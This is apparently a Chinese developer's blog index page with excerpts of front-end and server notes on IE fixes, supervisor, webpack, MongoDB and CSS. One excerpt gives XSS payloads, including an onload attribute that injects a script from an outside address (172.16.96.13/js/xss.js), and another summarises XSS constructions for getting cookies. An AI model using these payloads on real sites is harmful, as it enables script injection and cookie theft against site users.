自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(110)
  • 资源 (3)
  • 收藏
  • 关注

原创 ie8支持foreach

if ( !Array.prototype.forEach ) { Array.prototype.forEach = function forEach( callback, thisArg ) { var T, k; if ( this == null ) { throw new TypeError( "this is nul

2017-11-09 14:30:29 976

原创 IE7,8兼容textarea maxlength

判断IE版本后判断字符长度即可Code:$('body').on('keydown','.send-content',function(e){var ieVersion = IEVersion();if(ieVersion != -1 && (ieVersion==7||ieVersion==8)){if($(this).val().length>199){// 删除:46

2017-10-18 11:07:41 602

原创 supervisor命令出现unix:///tmp/supervisor.sock no such file报错

在supervisor默认配置中,其启动的sock等都会放到tmp目录,而tmp目录会自动清理导致无法使用supervisorctl命令,此时:修改supervisor.conf文件,修改到/var/run/及/var/log/目录,具体配置就不进行贴了,简单直接搜索tmp进行修改即可。重启supervisor服务,记得kill原来服务。来自:http://blog.hwa

2017-04-26 18:52:44 26477

转载 查看html特殊字符编码

var html = [];html.push("");html.push("符号编码符号编码符号编码符号编码");for(var i = 1; i if(i % 4 == 1){html.push("");}html.push("&#" + i + ";&#" + i + ";");if(i % 4 == 0){html.push("");}}

2017-02-20 11:26:45 890

原创 canvas实现雪花效果

function SnowAnimate(config){ this.defaultConfig = { canvasId:'mycanvas',//canvas id snowCount:200,//雪花数 radius:4,//半径

2016-12-08 10:06:52 4978

原创 IE7下a标签下包含图片时无法点击的问题

代码:1昵称要尽量很长哦  .room-item{                  width:146px;                  height: 206px;                  float:left;                  margin-right: 50px;               

2016-12-07 10:03:04 2011

原创 supervisord安装,启动/关闭,添加开机自启动服务

centos7安装supervisord#yum -y install supervisor安装路径/usr/bin/supervisord,配置文件/etc/supervisor.conf一、手动启动/关闭supervisor手动启动:#/usr/bin/supervisord -c /etc/supervisor.

2016-11-17 17:59:59 22155

原创 express使用webpack热加载替换时候遇到的坑

问题1:bundle.js:25  GET http://127.0.0.1:3000/public/assets/f4827a9158e0a42d64c7.hot-update.json 404 (Not Found)保存componet文件时候提示hot-update.json文件404。修复方案: Webpack 的文档如下The publicPath spe

2016-11-09 20:46:57 8121

原创 canvas无法使用rem单位的解决方案

我们在使用canvas时需要设置画布的大小,即设置canvas标签的width,height属性。canvaswidth="200px"height="200px">canvas>在移动端,画布的大小要根据屏幕的大小进行适配,我们一般采用rem结合媒体查询的方式。使用canvas时就遇到遇到一些问题:canvas的width属性不支持rem单位(如果使用样式当然支持re

2016-11-04 14:27:13 3955 3

转载 微信小程序(应用号)资源汇总整理

原文:http://www.cnblogs.com/txw1958/p/wechat-app-summarizing.html开源项目WeApp - 微信小程序版的微信wechat-weapp-redux-todos - 微信小程序集成Redux实现的Todo listwechat-weapp-gank - 微信小程序版Gank客户端wechat-dribbble 

2016-10-24 00:01:48 742

转载 mongodb 查询条件

原文:http://www.ttlsa.com/mongodb/mongodb-conditional-operators/这节来说说mongodb条件操作符,"$lt", "$lte", "$gt", "$gte", "$ne"就是全部的比较操作符,对应于"", ">=","!="。原子操作符:"$and“, "$or“, "$nor“。or查询有两种方式:一种是用$in

2016-10-10 11:25:35 452

转载 nodejs mongodb crud

http://www.it165.net/database/html/201502/10819.html目录简介 MongoDB安装(windows) MongoDB基本语法和操作入门(mongo.exe客户端操作) 库操作 插入 查询 修改 删除 存储过程 nodejs操作MongoDB 插入 查询 修改 删除 调用存储过程 写在之后...简介  MongoDB

2016-10-08 23:47:17 627

转载 escape()、encodeURI()、encodeURIComponent()区别详解

JavaScript中有三个可以对字符串编码的函数,分别是: escape,encodeURI,encodeURIComponent,相应3个解码函数:unescape,decodeURI,decodeURIComponent 。下面简单介绍一下它们的区别1 escape()函数定义和用法 escape() 函数可对字符串进行编码,这样就可以在所有的计算机上读取该字符串。 语法

2016-08-01 14:21:03 360

转载 xss其他标签下的js用法总结大全

xss其他标签下的js用法总结大全https://www.91ri.org/16155.html前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为实际上我们的测试语句可能为↓alert("90sec")也就是说js语句实际上是位于↓的中间。包括、、、、、、标签等情况下的xss构造。所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用就很麻

2016-07-25 13:24:31 6069

转载 node如何获取本机local ip

记录一下node如何获取本机local的ip: Js代码  function getIPAdress(){      var interfaces = require('os').networkInterfaces();      for(var devName in interfaces){            var iface = inter

2016-07-23 18:15:56 10086

转载 centos安装node mongodb supervisor

NODE:1.下载nodejs到本地并解压缩[root@localhost src]# wget http://nodejs.org/dist/v0.10.28/node-v0.10.28.tar.gz[root@localhost src]# tar -xvf node-v0.10.28.tar.gz2.进入到该目录编译和安装[root@localhost nod

2016-07-22 16:41:16 785

原创 jquery获取iframe的document对象

document.getElementById('myf').contentWindow.document

2016-06-28 19:07:51 2760

原创 XSS调用外部JS

jquery和原生两种方法: 1. onload="jQuery.getScript('JS Address') 2. " onload="with(document)body.appendChild(createElement('script')).src='http://172.16.96.13/js/xss.js'"

2016-06-14 14:48:08 3141

转载 mongodb 数据库操作--备份 还原 导出 导入

mongodb数据备份和还原主要分为二种,一种是针对于库的mongodump和mongorestore,一种是针对库中表的mongoexport和mongoimport。一,mongodump备份数据库1,常用命令格1mongodump -h IP --port 端口 -u 用户名 -p 密码 -d 数据库 -o 文件存在路径

2016-05-30 13:26:29 366

转载 IE下的haslayout属性

一.hasLayout 是什么?hasLayout 与 BFC 有很多相似之处,但 hasLayout 的概念会更容易理解。在 Internet Explorer 中,元素使用“布局”概念来控制尺寸和定位,分为拥有布局和没有布局两种情况,拥有布局的元素由它控制本身及其子元素的尺寸和定位,而没有布局的元素则通过父元素(最近的拥有布局的祖先元素)来控制尺寸和定位,而一个元素是否拥有布局则由 has

2016-05-30 11:13:15 408

原创 CSS浏览器兼容性问题,2

1. Sass中写css hack$hack_ie7:'+';#iditem{ #{$hack_ie7}display: inline; } 2.      Volecity foreach获取下标和size$!{velocityCount}数量是从1开始的#foreach($fundDet in $!list)           $!{velocityCount} 

2016-05-30 10:19:43 437

转载 前端构建工具gulpjs的使用介绍及技巧

gulpjs是一个前端构建工具,与gruntjs相比,gulpjs无需写一大堆繁杂的配置参数,API也非常简单,学习起来很容易,而且gulpjs使用的是nodejs中stream来读取和操作数据,其速度更快。如果你还没有使用过前端构建工具,或者觉得gruntjs太难用的话,那就尝试一下gulp吧。本文导航:gulp的安装开始使用gulpgulp的API介绍一些常用的gulp插件

2016-05-18 17:56:34 318

转载 深入解析CSS样式层叠权重值

读到《重新认识CSS的权重》这篇,鬼哥在文章最后给出了便于记忆的顺序:“important > 内联 > ID > 类 > 标签 | 伪类 | 属性选择 > 伪对象 > 通配符 > 继承”。那么这个顺序是怎么得出来的呢?实际上在CSS2规范关于具体性(specificity)的定义中,描述是非常明确的,但是很多中文版本的 CSS 图书中采用了 10 进制的简单相加计算方式(包括第一版《CSS

2016-05-17 13:56:37 488

转载 node获取客户端IP

function getClientIp(req) { return req.headers['x-forwarded-for'] || req.connection.remoteAddress || req.socket.remoteAddress || req.connection.socket.remoteAddress;

2016-05-05 13:41:57 1110

转载 javascript处理HTML的Encode(转码)和Decode(解码)总结

HTML的Encode(转码)和解码(Decode)在平时的开发中也是经常要处理的,在这里总结了使用javascript处理HTML的Encode(转码)和解码(Decode)的常用方式一、用浏览器内部转换器实现转换1.1.用浏览器内部转换器实现html转码  首先动态创建一个容器标签元素,如DIV,然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textCont

2016-04-26 15:06:02 988

转载 Javascript 转换&#x的unicode编码字符

汉字转换为unicode: obj.value=obj.value.replace(/[^\u0000-\u00FF]/g,function($0){return escape($0).replace(/(%u)(\w{4})/gi,"&#x$2;")});unicode转换为汉字:obj.value=unescape(obj.value.replace(/&#x/g,'%u').re

2016-04-11 16:31:36 1643

转载 JS 数组去重

原文:https://github.com/lifesinger/blog/issues/113对于数组去重,只要写过程序的,立刻就能得到第一个解法:function unique(arr) { var ret = [] for (var i = 0; i arr.length; i++) { var item = arr[i] if (ret.in

2016-03-31 10:27:15 243

原创 20160321-20160325 浏览器兼容性问题

chrome:1. input:focus 设置Border样式无效,有一层绿色外围框包裹;使用outline:none解决outline (轮廓)是绘制于元素周围的一条线,位于边框边缘的外围,可起到突出元素的作用。注释:轮廓线不会占据空间,也不一定是矩形。outline 简写属性在一个声明中设置所有的轮廓属性。可以按顺序设置如下属性:outline-coloroutl

2016-03-25 16:49:11 658

转载 JS Array.reverse 将数组元素颠倒顺序

//JS Array.reverse 将数组元素颠倒顺序//在JavaScript中,Array对象的reverse()方法将颠倒(反转)数组中元素的顺序。arr.reverse()在原数组上实现这一功能,即,reverse()会改变原数组。//例1:var arr = ["f","e","i","e","s","o","f","t"];document.writeln(arr.j

2016-03-10 16:02:34 85739

转载 css-元素水平、竖直居中

一、水平居中1.文本图片水平居中给父级元素设置text-align:center;2.确定宽度的块级元素居中设置自身margin-left:auto;margin-right:auto;别忘了设置自身宽度;3.不确定宽度的块级元素的居中(1)用table帮助实现不确定宽度块级元素居中块级元素设置table元素margin-left:auto;margin-right

2016-02-23 18:59:31 460

转载 css3 animation 中的 steps

animation steps达到文字逐个输入的效果@keyframes typing { from { width: 0; } }    @keyframes blink-caret { 50% { border-color: transparent; } }h1 {     font: bold 200% Consolas, Monaco, monospace;    

2016-02-20 15:31:07 3823

转载 7个CSS单位

一、重温em    body {font-size: 12px;}    div  {font-size: 1.5em;}            Test-01 (12px * 1.5 = 18px)                    Test-02 (18px * 1.5 = 27px)                            Tes

2016-02-20 15:03:10 294

转载 HTMl5的sessionStorage和localStorage

html5中的Web Storage包括了两种存储方式:sessionStorage和localStorage。sessionStorage用于本地存储一个会话(session)中的数据,这些数据只有在同一个会话中的页面才能访问并且当会话结束后数据也随之销毁。因此sessionStorage不是一种持久化的本地存储,仅仅是会话级别的存储。而localStorage用于持久化的本地存储,除非

2016-02-18 17:52:26 231

转载 ajax 和jsonp 不是一码事 细读详解

http://blog.csdn.net/superhosts/article/details/9057301JSON是一种数据交换格式,而JSONP是一种依靠开发人员的聪明才智创造出的一种非官方跨域数据交互协议。JSON的优点:1、基于纯文本,跨平台传递极其简单;2、Javascript原生支持,后台语言几乎全部支持;3、轻量级数据格式,占用字符数量极

2016-02-18 16:42:47 2879

原创 Javascript 事件冒泡捕获实验

(1)冒泡型事件:事件按照从最特定的事件目标到最不特定的事件目标(document对象)的顺序触发。  IE 5.5: div -> body -> document  IE 6.0: div -> body -> html -> document  Mozilla 1.0: div -> body -> html -> document -> window(2)捕获型事件(eve

2016-02-17 17:34:04 359

转载 js forEach

forEach这种方法是一个JavaScript扩展到ECMA-262标准;因此它可能不存在在标准的其他实现。两种常见的形式1. http://www.jb51.net/article/67441.htm12345678910111213141516171819202122232

2016-02-17 11:21:09 444

转载 jQuery绑定事件的四种方式

http://www.51edu.com/it/bckf/35687.htmlhttp://blog.csdn.net/yeliping2011/article/details/7407389jQuery绑定事件的四种方式jQuery提供了多种绑定事件的方式,每种方式各有其特点,明白了它们之间的异同点,有助于我们在写代码的时候进行正确的选择,从而写出优雅而容易维护的代码。下

2016-02-16 17:22:59 5146

转载 jquery ajax超时设置

var ajaxTimeoutTest = $.ajax({  url:'',  //请求的URL  timeout : 1000, //超时时间设置,单位毫秒  type : 'get',  //请求方式,get或post  data :{},  //请求所传参数,json格式  dataType:'json',//返回的数据格式  success:function(da

2016-02-03 09:48:18 446

原创 websocket

web应用 客户端和服务端建立长连接,获取实时状态两种常见的方法,一是ajax请求并设置延时,等待服务端返回,服务端收到数据设置睡眠等待数据更新,超时则返回无数据更新;二是websocket 比较好的实例:http://www.ibm.com/developerworks/cn/java/j-lo-WebSocket/http://my.oschina.net/u/1266

2016-02-01 15:07:56 569

转载 ThinkPHP生成静态页buildHtml方法

原来ThinkPHP自带了生成静态页的函数buildHtml,使用起来很方便!最新的手册里没写这个方法,向大家介绍一下。PHPprotected function buildHtml($htmlfile='',$htmlpath='',$templateFile='') {        $content = $this->fetch($templateFile);

2016-01-20 12:40:31 3148

精通正则表达式(第三版)(美)佛瑞德.pdf

精通正则表达式,学习正则表达式的最强力推荐,简直是开发人员居家旅行必备~

2014-12-01

css手册.chm

前端必备,css手册,chm格式,居家旅行必备!是你web开发的随手工具书

2014-11-13

JavaScript快速查询手册.pdf

方便快速的查询手册,javascript工具,前端必备;涉及很多常用命令,居家必备

2014-11-13

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除